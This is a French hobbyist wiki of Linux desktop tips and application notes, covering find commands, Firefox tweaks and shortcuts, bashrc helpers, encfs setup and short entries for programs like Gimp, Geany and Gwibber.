*Trouver tous les répertoires avec le nom mp3 et les déplace
{{{
$ find / -iname -type d “*.mp3″ -exec /bin/mv {} /mnt/mp3 \;
}}}
{{{
$ find / -iname -type f “*.mp3″ | xargs -I ‘{}’ mv {} /mnt/mp3
}}}
Préférable par souci de performance
*Trouver l'ensemble des fichiers dont le nom est mal encodé (des é et à à la place des é et à) et les réencoder
{{{
$ find . -name *Ã* -exec convmv -f utf-8 -t latin1 --notest {} \;
}}}
''Nom de l'application'': ''@@color(red): Firefox @@''
Mots clef: Internet, butineur, browser
Liens: [[site officiel fr| http://www.mozilla-europe.org/fr/products/firefox/ ]]
<<<
''Description: ''Le butineur qui a changé la vision du web ;)

''Installation: ''Installé par défaut en général

''Voir aussi: ''
FirefoxTrucsEtRaccourcis
ExtensionsFirefoxInstallees
InstallationExtensionsFirefox
SearchPluginsFirefoxInstalles
FirefoxSearchPlugin
FirefoxDisplayCache
Astuce: ''Améliorer l'apparence des formulaires et des boutons dans firefox''
Mots clef: Firefox, Internet
Os: Linux
Liens: [[source| http://ubuntuos.com/?p=377 ]]
<<<
Allez sur le site google.com, par exemple, et remarquez à quel point les boutons de sélection sont laids. Voilà une méthode pour y remédier:
Quitter firefox, ensuite
{{{
$ wget http://users.tkk.fi/~otsaloma/art/firefox-form-widgets.tar.gz
}}}
{{{
$ tar -xvzf firefox-form-widgets.tar.gz
}}}
{{{
$ sudo cp /usr/lib/mozilla-firefox/res/forms.css /usr/lib/mozilla-firefox/res/forms.css.bak
}}}
{{{
$ cat firefox-form-widgets/res/forms-extra.css | sudo tee --append /usr/lib/mozilla-firefox/res/forms.css > /dev/null
}}}
{{{
$ sudo cp -r firefox-form-widgets/res/form-widgets /usr/lib/mozilla-firefox/res
}}}
{{{
$ rm -rf firefox-form-widgets
}}}
Ouvrir Firefox.
Et voilà qui devrait être déjà mieux.
Astuce: ''voir le contenu du cache sans quitter firefox''
Mots clef: internet, firefox
Os: Tous
<<<
Pour accéder au contenu du cache sans même quitter firefox, entrer l'adresse suivante: ''about:cache''
Un petit "ctrl+f" vous permettra de faire une recherche dans le cache.
<<<
Astuce: ''Ouvrir les liens ~Ed2K directement dans amule à partir de firefox''
Mots clef: firefox, amule
Os: Linux
<<<
1. Allez sur : about:config
2. Sur cette page fait un click droit->nouvelle->valeur booléenne
3. et mettez : network.protocol-handler.external.ed2k -> true
4. Nouveau click droit : nouvelle->chaine de caractères
5. et mettez : network.protocol-handler.app.ed2k -> /usr/bin/ed2k

/usr/bin/ed2k peut être remplacé par tout utilitaire fourni avec votre logiciel de p2p afin de lui passer un lien ed2k en ligne de commande. Ce principe de fonctionnement peut être adapté à d'autres protocoles comme klik
<<<
Astuce: ''Une liste de raccourcis pour firefox''
Mots clef: firefox, internet
Os: Tous
Liens: [[source| http://lesliefranke.com/files/reference/firefoxcheatsheet.html ]]
Info copié sans modif.
<<<
<html>
<table class="section" border="1">
        <tbody><tr> 
          <th>BASIC</th>
        </tr>
          <tr>
	      <td>
            <strong>Home:</strong><br>

            <a href="http://www.mozilla.com/firefox/">http://www.mozilla.com/firefox/</a><br>
			<strong>Extensions &amp; Themes:</strong><br>
			<a href="https://addons.mozilla.org/">https://addons.mozilla.org/</a><br> 
            <strong>Support Forum:</strong><br>
            <a href="http://forums.mozillazine.org/">http://forums.mozillazine.org/</a>		  </td>

	    </tr>
      </tbody></table>
<table class="section" border="1">
        <tbody><tr> 
          <th colspan="2">GENERAL KEYBOARD SHORTCUTS </th>
        </tr>
        <tr>
          <td>Add Bookmarks </td>
          <td width="40%"> Ctrl + D </td>

        </tr>
        <tr class="evenrow">
          <td>Bookmarks</td>
          <td>Ctrl + B</td>
        </tr>
           <tr> 
          <td>DOM Inspector</td>
          <td>Ctrl + Shift + I </td>

        </tr>
        <tr class="evenrow"> 
          <td>Downloads</td>
          <td>Ctrl + J </td>
        </tr>
        <tr>
          <td>Full Screen View </td>
          <td>F11</td>

        </tr>
        <tr class="evenrow">
          <td>Help</td>
          <td>F1</td>
        </tr>
        <tr>
          <td>History</td>

          <td>Ctrl + H </td>
        </tr>
        <tr class="evenrow">
          <td>Page Source </td>
          <td>Ctrl + U </td>
        </tr>
        <tr>

          <td>Print</td>
          <td>Ctrl + P </td>
        </tr>
        <tr class="evenrow">
          <td>Refresh Page </td>
          <td>F5</td>
        </tr>

        <tr>
          <td>Refresh Page &amp; Cache</td>
          <td> Ctrl + F5 </td>
        </tr>
        <tr class="evenrow">
          <td>Save Page As </td>

          <td>Ctrl + S </td>
        </tr>
      </tbody></table>
<table class="section" border="1">
        <tbody><tr> 
          <th colspan="2">NAVIGATION KEYBOARD SHORTCUTS </th>
        </tr>
        <tr> 
          <td>Back</td>

          <td width="40%">Alt + Left Arrow </td>
        </tr>
        <tr class="evenrow"> 
          <td>Down One Line </td>
          <td>Down</td>
        </tr>
        <tr> 
          <td>Down One Page </td>

          <td>PageDown</td>
        </tr>
        <tr class="evenrow">
          <td>File Open </td>
          <td>Ctrl + O </td>
        </tr>
        <tr>

          <td>Forward</td>
          <td>Alt + Right Arrow </td>
        </tr>
        <tr class="evenrow">
          <td>Frame Next </td>
          <td>F6</td>
        </tr>

        <tr> 
          <td>Frame Previous </td>
          <td>Shift + F6 </td>
        </tr>
        <tr class="evenrow"> 
          <td>Home Page </td>
          <td>Alt + Home </td>
        </tr>

        <tr>
          <td>Jump to Address Bar </td>
          <td>Ctrl + L </td>
        </tr>
        <tr class="evenrow">
          <td>Jump to Search Bar </td>
          <td>Ctrl + K </td>

        </tr>
        <tr>
          <td>Page Bottom </td>
          <td>End</td>
        </tr>
        <tr class="evenrow">
          <td>Page Top </td>

          <td>Home</td>
        </tr>
        <tr>
          <td>Stop</td>
          <td>Esc</td>
        </tr>
        <tr class="evenrow">

          <td>Tab Close </td>
          <td>Ctrl + W </td>
        </tr>
        <tr>
          <td>Tab New </td>
          <td>Ctrl + T</td>
        </tr>

        <tr class="evenrow">
          <td>Tab Next </td>
          <td>Ctrl + Tab </td>
        </tr>
        <tr>
          <td>Tab Previous </td>
          <td>Ctrl + Shift + Tab</td>

        </tr>
        <tr class="evenrow">
          <td>Tab Select </td>
          <td>Ctrl + [1 - 9] </td>
        </tr>
        <tr> 
          <td>Up One Line </td>
          <td>Up</td>

        </tr>
        <tr class="evenrow"> 
          <td>Up One Page </td>
          <td>PageUp</td>
        </tr>
        <tr>
          <td>Window Close </td>
          <td> Alt + F4 </td>

        </tr>
        <tr class="evenrow">
          <td>Window New </td>
          <td>Ctrl + N </td>
        </tr>
      </tbody></table>
	  <table class="section" border="1">
        <tbody><tr>

          <th colspan="2">TEXT KEYBOARD SHORTCUTS </th>
        </tr>
        <tr>
          <td>Copy</td>
          <td width="40%"> Ctrl + C </td>
        </tr>
        <tr class="evenrow">

          <td>Cut</td>
          <td>Ctrl + X </td>
        </tr>
        <tr>
          <td>Delete</td>
          <td>Del</td>
        </tr>

        <tr class="evenrow">
          <td>Text Size Decrease </td>
          <td>Ctrl + - </td>
        </tr>
        <tr>
          <td>Text Size Increase </td>
          <td>Ctrl + + </td>

        </tr>
        <tr class="evenrow">
          <td>Text Size Default </td>
          <td>Ctrl + 0 </td>
        </tr>
        <tr>
          <td>Undo</td>

          <td>Ctrl + Z </td>
        </tr>
      </tbody></table>
    </div>
<div id="content2">
<table class="section" border="1">
        <tbody><tr>
          <th colspan="2">SEARCH KEYBOARD SHORTCUTS </th>
        </tr>

        <tr>
          <td>Find Again </td>
          <td width="40%"> F3 </td>
        </tr>
        <tr class="evenrow">
          <td>Find as You Type Link </td>
          <td>'</td>

        </tr>
        <tr>
          <td>Find as You Type Text </td>
          <td>/</td>
        </tr>
        <tr class="evenrow">
          <td>Find in This Page </td>

          <td>Ctrl + F </td>
        </tr>
        <tr>
          <td>Find Previous </td>
          <td>Shift + F3 </td>
        </tr>
      </tbody></table>

<table class="section" border="1">
        <tbody><tr> 
          <th colspan="2">MOUSE SHORTCUTS </th>
        </tr>
        <tr>
          <td>Back</td>
          <td>Shift + Scroll Down</td>
        </tr>

        <tr class="evenrow">
          <td>Forward</td>
          <td>Shift + Scroll Up </td>
        </tr>
        <tr>
          <td>Open Link in Background Tab </td>
          <td>Ctrl + Left Click or Middle Click</td>

        </tr>
        <tr class="evenrow">
          <td>Open Link in Foreground Tab </td>
          <td>Ctrl + Shift + Left Click </td>
        </tr>
        <tr>
          <td>Open Link in New Window </td>

          <td>Shift + Left Click </td>
        </tr>
        <tr class="evenrow">
          <td>Scroll Line by Line </td>
          <td>Alt + Scroll </td>
        </tr>
        <tr> 
          <td>Tab Close </td>

          <td>Middle Click on Tab </td>
        </tr>
        <tr class="evenrow">
          <td>Tab New</td>
          <td>Double Click on Tab Bar </td>
        </tr>
        <tr> 
          <td>Text Size Decrease</td>

          <td>Ctrl + Scroll UP</td>
        </tr>
        <tr class="evenrow"> 
          <td>Text Size Increase </td>
          <td>Ctrl + Scroll Down </td>
        </tr>
      </tbody></table>
<table class="section" border="1">

        <tbody><tr> 
          <th>LOCATIONS</th>
        </tr>
        <tr class="evenrow">
          <td><strong>Cached Elements</strong></td>
        </tr>
        <tr>
          <td>C:\Documents and Settings\[username]\Local Settings\Application Data\Mozilla\Firefox\Profiles\[profilename]\Cache\</td>

        </tr>
        <tr class="evenrow">
          <td><strong>Profile Manager</strong></td>
        </tr>
        <tr>
          <td>Close Firefox. From the "Start" menu, select "Run", type "firefox.exe
            -p"</td>
        </tr>
        <tr class="evenrow"> 
          <td><strong>User Profile Folder</strong> </td>

        </tr>
        <tr>
          <td>C:\Documents and Settings\[username]\Application Data\Mozilla\Firefox\Profiles\xxxxxxxx.default\</td>
        </tr>
        <tr class="evenrow">
          <td><strong>Advanced Configuration</strong></td>
        </tr>
        <tr>

          <td>Address Bar: about:config </td>
        </tr>
        <tr class="evenrow">
          <td><strong>Cache Info</strong></td>
        </tr>
        <tr>
          <td>Address Bar: about:cache</td>

        </tr>
        <tr class="evenrow"> 
          <td><strong>Plugin Info</strong></td>
        </tr>
        <tr>
          <td>Address Bar: about:plugins</td>
        </tr>
      </tbody></table>

	<table class="section" border="1">
        <tbody><tr> 
          <th>TIPS/TRICKS</th>
        </tr>
        <tr class="evenrow">
          <td><strong>Block Popup Windows</strong> </td>
        </tr>
        <tr>

          <td>Tools -&gt; Options -&gt; Web Features </td>
        </tr>
        <tr class="evenrow">
          <td><strong>Customize Toolbars</strong></td>
        </tr>
        <tr>

          <td>Right click on a toolbar and chose customize toolbar. To add icons
            drag and drop them on the toolbar. To subtract icons drag them from
            the toolbar to the "Customize Toolbar" window. </td>
        </tr>
        <tr class="evenrow"> 
          <td><strong>Desktop Shortcut to Current Page</strong></td>
        </tr>
        <tr>
          <td>Drag the icon in the address bar to the desktop </td>
        </tr>

        <tr class="evenrow">
          <td><strong>Make Firefox Default Browser</strong> </td>
        </tr>
        <tr>
          <td>Tools -&gt; Options -&gt; General -&gt; Set Firefox As Default
            Browser</td>

        </tr>
        <tr class="evenrow">
          <td><strong>Manage Cache, Cookies, History and Passwords</strong> </td>
        </tr>
        <tr>
          <td>Tools -&gt; Options -&gt; Privacy</td>

        </tr>
        <tr class="evenrow">
          <td><strong>Set Home Page </strong></td>
        </tr>
        <tr>
          <td>Tools -&gt; Options -&gt; General -&gt; Home Page </td>

        </tr>
        <tr class="evenrow">
          <td><strong>Tabbed Browsing Options </strong></td>
        </tr>
        <tr>
          <td>Tools -&gt; Options -&gt; Advanced -&gt; Tabbed Browsing </td>

        </tr>
      </tbody></table>
	
    </div>
<div class="exp">For use with Firefox running on a Windows machine. OS X users should use Cmd instead 
</html>
Astuce: ''Création d'un plugin de recherche pour firefox 1.5 (n'est plus d'actualité à partir de la version 2)''
Mots clef: firefox
Os: Tous
Liens: [[Tuto complet|http://ffsearchplugins.free.fr/doc/searchplugin_tuto.html]]

<<<
Petite astuce permettant de créér rapidement ses propres champs de recherche (comme celui de Google, en haut à droite de Firefox).

Cas pratique : je veux un zone de recherche pointant directement sur le site d'allociné, pour rechercher un film :

1°/ Je vais sur allocine.com
2°/ je récupère allocine.com/favicon.ico et je le sauve sur le disque en le renommant en .png
3°/ je lance une recherche bidon pour voir quelle forme à l'url de recherche pour recherche un film nommé star wars : 
http://www.allocine.fr/recherche/?motcle=star+wars&rub=1
4°/ On note dans un coin l'url(on la copie dans le presse papier quoi), et on se rend dans le dossier .mozilla de votre home
5°/ On va dans le dossier searchplugins et on créé un nouveau fichier texte nommé allocine.src
6°/ On copie également dans ce dossier notre .png qu'on appellera pareil que notre .src
7°/ on rempli notre allocine.src de la sorte :
{{{
<search
name="Allocine"
description="Recherche Allocine"
method="GET"
action="http://www.allocine.fr/recherche/
queryEncoding="utf-8"
queryCharset="utf-8">
<input name="motcle" user>
}}}
On note que action vaut l'url finale sans les paramètres postés.
Le champs input ayant l'attribut user correspond à la valeur saisie dans la zone de recherche Firefox, les autres inputs sont les autres paramètres postés.

Voilà, on sauve le fichier et ça roule.
On redémarre Firefox et dans le menu de la zone de recherche notre nouvelle recherche est arrivée :)
<<<
Astuce: ''Ouvrir les vidéos du site tsr.ch sans passer par realplayer''
Mots clef: firefox, vidéo, mplayer
Os:Linux
<<<
Certains sites, dont http://www.tsr.ch, ne permettent de visualiser leurs vidéos qu'à l'aide de realplayer et de son plugin. Pour tout de même lire ces vidéos avec mplayer depuis firefox il faut: (Thx Pascal)
#Dans le répertoire d'installation de firefox, s'assurer que le sous-répertoire des plugins (par exemple /opt/firefox/plugins/) contient les plugins vidéo nécessaires de mplayer (ici mplayerplug-in-rm.so  mplayerplug-in-rm.xpt) et qu'il ne contient PAS les plugin pour realplayer. 
#Dans le répertoire personnelle, aller dans {{{~/.mozilla/firefox}}}, si le sous-répertoire plugins n'existe pas, alors il faut le créer. Ensuite copier le plugin de realplayer dans ce dossier (il s'agit des deux fichiers nphelix.so  nphelix.xpt)
Et voilà, reste plus qu'à admirer. (ps les flux sont enregistables via mplayer -dumpstream, voir MplayerEnregistrerFluxVideo)
<<<
''Nom de l'application'': ''@@color(red): flvget @@''
Mots clef: multimédia, vidéo
Liens: [[site flvget| http://kde-apps.org/content/show.php?content=33973 ]], [[blog de l'auteur|http://www.khertz.net/archives/36]]
<<<
''Description: ''flvget est un petit programme sympa qui permet de télecharger et de convertir en .avi des fichiers flv sur video.google ou youtube.

''Installation: ''aller sur le site flvget, télecharger l'archive, la décompresser et, dans konqueror, lancer le fichier //flvget.kmdr// et c'est tout.
<<<
Astuce: ''Quelques fonctions intéressantes à ajouter au fichier .bashrc''
Mots clef: système, bash
Os: Linux
Liens: [[source| http://gamebouille.blogspot.com/2007/03/bashrc_01.html ]]
<<<
*Crypt et Decrypt en GPG
{{{
encrypt ()
{
gpg -ac --no-options "$1"
}

decrypt ()
{
gpg --no-options "$1"
}
}}}
*Extrait n'importe quel type d'archive
{{{
extract () {
if [ -f $1 ] ; then
case $1 in
*.tar.bz2) tar xjvf $1 ;;
*.tar.gz) tar xzvf $1 ;;
*.bz2) bunzip2 $1 ;;
*.rar) unrar x $1 ;;
*.gz) gunzip $1 ;;
*.tar) tar xf $1 ;;
*.tbz2) tar xjf $1 ;;
*.tgz) tar xzf $1 ;;
*.zip) unzip $1 ;;
*.Z) uncompress $1 ;;
*.7z) 7z x $1 ;;
*) echo "'$1' cannot be extracted via extract()" ;;
esac
else
echo "'$1' is not a valid file"
fi
}
}}}
Astuce: ''Changer son fond d'écran kde en ligne de commade''
Mots clef: fond écran, bash, wallpaper, KDE, Gnome
Os: Linux
Liens: [[source| http://linuxfr.org/tips/213.html ]]
<<<
*Pour KDE
Il suffit de taper:
{{{
$ dcop kdesktop KBackgroundIface setWallpaper ''chemin d'une image'' ''mode''
}}}
où ''chemin de l'image'' est le chemin complet 
et ''mode'' prend une des valeurs suivantes:
1 - vCentered
2 - Tiled
3 - Centered Tiled
4 - Centered Maxpect
5 - Tiled Maxpect
6 - Scaled
7 - Centered Auto Fit
*Pour Gnome
{{{
$ gconftool-2 --type string --set /desktop/gnome/background/picture_filename /monDossier/monImage.png 
}}}
''Nom de l'application'': ''@@color(red): Foobillard @@''
Mots clef: jeu, billard
Liens: [[site officiel| http://foobillard.sunsite.dk/ ]]
<<<
''Description: ''Magnifique jeu de billard utilisant open-GL

''Installation: ''[[via apt|apt://foobillard]]
''Nom de l'application'': ''@@color(red): Frozen bubble @@''
Mots clef: jeux
<<<
''Description: ''C'est l'équivalent linux du jeux snood (mais graphiquement beaucoup mieux)

''Installation: ''[[via apt|apt://frozen-bubble]]

''Notes: ''voir aussi MonkeyBubble
''Nom de l'application'': ''@@color(red): Fullsync @@''
Mots clef: synchronisation, sauvegarde
Liens: [[sourceforge|http://fullsync.sourceforge.net/ ]]
<<<
''Description: ''Logiciel de synchronisation écrit en java.

''Installation: ''récupérer l’archive java ( ~FullSyncInstaller.jar ) depuis sourceforge (Plateform Independant). Puis lancer l'installation avec {{{# java -jar FullSyncInstaller.jar}}}. L’installe se lance : ça ressemble à une installation de soft sous windows. Après avoir installé le logiciel, lorsque l’on lance \opt\~FullSync\bin\fullsync.sh dans une console on se retrouve avec un message d’erreur du genre: ~FULLSYNC_HOME = /usr/local/~FullSync Error : ~JAVA_HOME is not defined correctly. We cannot execute java
En fait c’est qu’il ne trouve pas le chemin de l’installation de java run time environnement. Il faut donc compléter le fichier fullsync.sh (avec gedit par exemple). En dessous de la ligne # ! /bin/sh rajouter une ligne du type : ~JAVA_HOME=/usr/local/java/jre1.5.0_06 ou simplement =/usr correspondant à l’endroit ou vous avez installé le paquet de Sun.
<<<
''Nom de l'application'': ''@@color(red): Fuse/Encfs @@''
Mots clef: sécurité, chiffrement
Liens: [[source| http://www.tux-planet.fr/blog/?2007/03/26/144-systeme-de-fichiers-cryptes-avec-encfs ]], [[info pour ubuntu|http://thng.ntnpsphere.net/dotclear/index.php/?2007/03/17/7-encrypter-les-documents-avec-encfs]]
<<<
''Description: ''Permet de crypter facilement un répertoire.

''Installation: ''{{{# apt-get install fuse encfs}}}
Ensuite, charger le module fuse :
{{{
# modprobe fuse
}}}
On peut aussi charger automatiquement ce module au démarrage en l'ajoutant dans /etc/modules :
{{{
# sh -c "echo fuse >> /etc/modules"
}}}
Maintenant, on ajoute son nom d'utilisateur au groupe fuse :
{{{
# adduser yourusername fuse 
}}}

''Utilisation: ''
*Mise en place d'un répertoire crypté
On va devoir créer deux repertoires :
- le premier stockant les données cryptées
- le second permettant un accès, avec décryptage, au repertoire stockant les données cryptées
Exemple :
{{{
# mkdir /mnt/crypt
# mkdir /mnt/private 
}}}
*Utilisation courante
Pour monter le système de fichiers et pourvoir y accéder, lancez la commande suivante :
{{{
# encfs /mnt/crypt /mnt/private 
}}}
Lors du premier montage, le système vous posera quelques questions. Choisissez alors le mode standard et entrez votre mot de passe secret.
*Ecriture des données :
{{{
$ echo "toto" > /mnt/private/test.txt 
}}}
Vérification du bon chiffrement :
{{{
# ls /mnt/crypt
    W,ru0EGkxuVdg1 
}}}
Une fois terminée, il faudra démonter le repertoire d'accès, afin de rendre complètement inaccessibles les données :
{{{
# fusermount -u /mnt/private 
}}}
Attention : le répertoire crypté (/mnt/crypt) contient un fichier caché nommé .encfs5. Ce dernier contient les données de cryptage et il ne faudra surtout pas le supprimer.
Ce système est donc assez simple d'utilisation et peut constituer une bonne solution pour protéger certaines données sensibles, notament celles que l'on stocke sur des clés usb que l'on peut perdre facilement. Voir aussi DmCrypt, TrueCrypt et CrypterClefusb
''Nom de l'application'': ''@@color(red):Galternatives @@''
Mots clef: système
Liens: [[article|http://blognote-info.com/index.php?2006/06/14/433-galternatives]]
<<<
''Description: ''Frontend pour le système {{{$ update-alternatives --config}}}

''Installation: ''apt-get install galternatives

''Notes: ''Le système de update-alternatives permet d'avoir plusieurs logiciels ayant le même but installé sur la machine et offre la possibilité de dire lequel vous souhaitez utiliser pour ce but précis ... Par exemple pour java, i on veut avoir plusieurs environnement java, on peut et surtout on peut choisir lequel doit être celui utilisé par tous ... On fait : {{{sudo update-alternatives --config java}}} par exemple.
Donc Galternatives n'est rien d'autre qu'un front-end à ce système!
<<<
''Nom de l'application'': ''@@color(red): Gcolor2 @@''
Mots clef: couleur, color, 
<<<
''Description: ''Petite application ultra-simple pour la gestion des couleurs. Pour webmasters, graphistes et autre GimP -iste

''Installation: ''[[via apt|apt://gcolor2]]

''Utilisation: ''via l'interface graphique.

''Notes: ''voir aussi AgAve
''Nom de l'application'': ''@@color(red): Gcompris @@''
Mots clef: éductions, apprentissage, enfant
Lien: [[site officiel| http://gcompris.net/ ]]
<<<
''Description: ''Gcompris est un "logiciel d'éducation complet et ouvert" pour les petits avec "plein de jeux".

''Installation: ''[[via apt|apt://gcompris,gcompris-data,gcompris-sound-fr]] (avec les packages gcompris, gcompris-data et gcompris-sound-fr)

''Utilisation: ''Pour lancer Gcompris en mode plein écran: {{{$ gcompris -f}}}
''Nom de l'application'': ''@@color(red): Glabels @@''
Mots clef: graphisme, étiquettes, cartes de visites
Liens: [[site officiel| http://glabels.sourceforge.net/ ]]
<<<
''Description: ''Logiciel simple et efficace permettant la création d'étiquette et de cartes de visite.

''Installation: ''[[via apt|apt://glabels]] ou en télechargeant les sources sur le site.

''Notes: ''Ne permet malheureusement pas l'exportation dans un autre format. (voir également KbarCode)
''Nom de l'application'': ''@@color(red): Gltron @@''
Mots clef: jeux
Liens: [[site officiel|www.gltron.org/]]
<<<
''Description: ''Si vous connaissez Tron, il n'est pas nécessaire que je vous décrive ce jeu. Si vous ne connaissez pas, imaginez : le jeu snake (vous savez le serpent qui mange des pommes et qui n'aime pas se cogner) en 3D, avec jusqu'à 4 joueurs (sur le même poste) qui tentent de barrer la route aux autres, ajoutez à cela une vitesse phénoménale et un boost et enfin une jouabilité excellente qui fera de ce jeu un pur délire avec n'importe quel quidam. Toutes les personnes avec qui j'ai joué sont devenues accros.

''Installation: ''{{{apt-get install gltron}}}

''Notes: ''Voir également ArmageTron.
''Nom de l'application'': ''@@color(red): Gsplit @@''
Mots clef: 
Liens: [[site officiel| http://www.respawner.fr/gsplit/ ]]
<<<
''Description: ''Gsplit permet de scinder un fichier en plusieurs fichiers de plus petites tailles, il s'agit d'une interface graphique pour la commande split.

''Installation: ''voir le [[site officiel| http://www.respawner.fr/gsplit/ ]].

''Notes: ''Voir également UltraSplitter et en ligne de commande voir ScinderGrosFichier ou SeparerGrosFichiers.
Astuce: ''améliorez l’affichage des applications GTK sous KDE''
Mots clef: système, utilitaire graphique
Os: Kubuntu
Liens: [[source| http://www.aide-ubuntu.com/Clearlooks-ameliorez-l-affichage ]]
<<<
Clearlooks permet d'afficher les applications GTK KDE aussi bien que sous Gnome.

Tout d’abord, il faut installer clearlooks avec le paquet :

{{{# aptitude install gtk2-engines-clearlooks}}}

Ensuitedans les paramètres du système, choisir Apparence, GTK styles and fonts, et sélectionner Clearlooks dans GTK styles. Et voilà.
''Nom de l'application'': ''@@color(red): Gthumb @@''
Mots clef: graphisme, images, lot
<<<
''Description: ''Petite utilitaire de traitement d'images très pratique et léger. Il permet notamment de créer des index sous forme d'image et des web-albums.

''Installation: ''{{{# aptitude install gthumb}}}
''Nom de l'application'': ''@@color(red): Gtwitter @@''
Mots clef: Internet, twitter
Liens: [[site de dévelloppement| http://code.google.com/p/gtwitter/ ]]
<<<
''Description: ''gtwitter est un petit client twitter pour gnome

''Installation: ''[[via apt|apt://gtwitter]]

''Utilisation: ''Entrer le nom d'utilisateur et le mot de passe dans les préférences, ensuite le client se réduit facilement dans la barre d'état.

''Notes:'' GWibber est un client plus complet gérant plusieurs comptes.
''Nom de l'application'': ''@@color(red): GWibber @@''
Mots clef: Internet, twitter, microblogging
<<<
''Description: ''gtwitter est un petit client très complet de gestion de microblogging pour gnome.

''Installation: ''
Pour Ubuntu Hardy, rajouter les lignes suivantes au fichier ///etc/apt/sources.list//:
{{{
deb http://ppa.launchpad.net/gwibber-team/ubuntu hardy main
deb-src http://ppa.launchpad.net/gwibber-team/ubuntu hardy main
deb http://ppa.launchpad.net/webkit-team/ubuntu hardy main
deb-src http://ppa.launchpad.net/webkit-team/ubuntu hardy main
}}}
Et ensuite installer les paquets suivants:
{{{# aptitude install libwebkit-1.0-1 python-webkitgtk python-egenix-mxdatetime gwibber}}}

''Utilisation: ''Entrer le nom d'utilisateur et le mot de passe dans les préférences, ensuite le client se réduit facilement dans la barre d'état.

''Notes:'' Pour un client plus simple, seulement pour twitter: GTwitter.
''Nom de l'application'': ''@@color(red): Gcstar @@''
Mots clef: gestionnaire, collections, films, divx
Liens: [[site officiel| http://www.gcstar.org/ ]]
<<<
''Description: ''Gcstar est un gestionnaire de collections ergonomique est esthétique.

''Installation: ''[[via apt|apt://gcstar]]

''Note: ''voir aussi TelliCo
''Nom de l'application'': ''@@color(red): Geany @@''
Mots clef: éditeur de textes, programmation
Liens: [[source| http://blog.momo.servegame.org/2007/01/02/36-geany-un-editeur-simple-et-efficace ]], [[sources raccourcis|http://blog.creaone.fr/post/2007/11/12/Geany-un-IDE-tres-prometteur]]
<<<
''Description: ''Geany est un éditeur de texte avec, de plus, coloration syntaxique (html par exemple).

''Installation: ''{{{# aptitude install geany}}}

''Notes: ''
Raccourcis Geany:
| F11|Passer en mode plein écran|
| CTRL+F|Rechercher|
| CTRL+E|Recherche / remplacer|
| CTRL+J|Aller à la ligne|
| CTRL + Page Down/Up|Navigue entre les fichiers ouverts|
| CTRL+M|Placer un marqueur|
| CTRL + ,  / ;|se déplace entre les marqueurs (raccourcis perso : depuis les préférences > Raccourcis)|
| CTRL +  <|Aller à la déclaration de la fonction (perso)|
| CTRL+SHIFT+ <|Aller à la définition de la fonction (perso)|
| CTRL+ ESPACE|Complétion,  TAB suffit dans certains cas|
''Nom de l'application'': ''@@color(red): Geexbox @@''
Mots clef: Media Center, OS
Liens: [[page officielle| http://www.geexbox.org/fr/ ]]
<<<
''Description: '' Geexbox 1.0 est un media center indépendant permettant, entre autre, la lecture de DVD (support des menus) et de fichier divx, xvid (avec sous-titres), webradios et webtvs par le biais de shoutcastle. Le tout étant basé sur un noyau linux et sur mplayer.

''Installation: ''CD d'installation pouvant être télécharger ou même construit grâce au "générateur d'iso" prévu.

''Notes: ''L'essayer c'est l'adopter: ce truc lit absolument tout !
<<<
''Nom de l'application'': ''@@color(red): Geoip @@''
Mots clef: réseau
Liens: [[site officiel|http://www.maxmind.com]]
<<<
''Description: ''Geoip est un logiciel qui permet de localiser le pays de provenance d'une adresse ip.

''Installation: ''{{{apt-get install geoip-bin}}}

''Notes: ''Lancez un terminal, et entrez la commande: {{{$ geoiplookup www.tuxfamily.org}}}
<<<
''Nom de l'application'': ''@@color(red): The Gimp @@''
Mots clef: graphisme, Photoshop
Liens: [[site officiel|http://www.gimp.org/ ]], [[site|http://gimparoo.blogspot.com/]] d'adaptation de tutoriels Photoshop pour The Gimp
<<<
''Description: ''Gimp (GNU Image Manipulation Program) est un programme permettant de dessiner, peindre et éditer des images. Semblable à Adobe Photoshop il assure un traitement des images de qualité.

''Installation: ''{{{# aptitude install gimp}}}

''Notes: ''
#Même si son apparence (plusieurs fenêtre séparées) peut troubler au début, l'on s'y habitue vite. Et pour ceux qui ne supporte vraiment pas cette différence, il existe également [[Gimpshop|http://www.gimpshop.net/]], avec un tuto d'installation [[ici|http://forum.ubuntu-fr.org/viewtopic.php?id=52446]]
#Voir le plugin GimpPluginLiquidRescale qui offre un traitement intéressant.
Astuce: ''Ajouter le logo Ubuntu comme pinceau dans GimP 2.4.*''
Mots clef: gimp, graphisme, image
Os: Linux
Liens: [[source| http://crunchbang.org/archives/2008/01/20/ubuntu-logo-gimp-brushes/ ]]
<<<
*Se rendre dans le répertoire contenant les pinceau de GimP
{{{
$ cd ~/.gimp-2.4/brushes
}}}
*Télecharger le paquet contenant les pinceaux
{{{
$ wget http://crunchbang.org/misc/ubuntu-logo-gimp-brushes.tar.gz
}}}
*Extraction du paquet
{{{
$ tar xvf ubuntu-logo-gimp-brushes.tar.gz
}}}
*Nettoyage
{{{
*rm ubuntu-logo-gimp-brushes.tar.gz
}}}
''Nom de l'application'': ''@@color(red): Liquid Rescale @@''
Mots clef: image, gimp, plugin
Liens: [[Plugin|http://liquidrescale.wikidot.com/]]
<<<
''Description: ''Liquid Rescale est un plugin basé sur un [[algorithme|http://swieskowski.net/carve/]] permettant de redimensionner une image tout en gardant certains éléments non modifiés, ce qui permet de conserver les proportions de certaines parties de l'image.

''Installation: ''Via le package .deb [[ici|http://liquidrescale.wikidot.com/en:download-page]]

''Utilisation: ''
#Installer le plugin 
#Ouvrir une image (attention à ce qu'elle ne soit pas trop volumineuse, sinon le temps de traitement peut être assez long)
#Créer un nouveau calque et activer ce-dernier.
#Entourer au lasso les éléments que vous désirez conserver, puis "peindre" l'intérieur de ces zones (on peut activer une certaine transparence du calque afin d'y voir quelque chose)
#Dans le menu //calque//, choisir //Liquid rescale...// pour accéder au panel de l'effet.
#Choisir le calque contenant les éléments à conserver (on peut aussi définir un calque pour les éléments à écarter)
#Sélectionner finalement les options //Somme des valeurs absolues// pour la fonction de gradiant, //Mettre à jour la fonction d'énergie à chaque pas// et Redimensionner le canevas de l'image. Et c'est parti...
''Nom de l'application'': ''@@color(red):Gnofract 4D @@''
Mots clef: science, mathématiques
Liens: [[site officiel|http://sourceforge.net/projects/gnofract4d/ ]]
<<<
''Description: ''Gnofract 4D est un logiciel d'exploration des fractals Mandelbrot et Julia.

''Installation: ''paquet .deb disponible sur le [[site officiel|http://sourceforge.net/projects/gnofract4d/ ]].

''Utilisation: ''mode de navigation un peu spartiate mais très joli rendu.

''Notes: ''voir aussi XaOs
''Nom de l'application'': ''@@color(red): Gnomebaker @@''
Mots clef: gravage, cd, dvd, iso
Liens: [[ text | url ]]
<<<
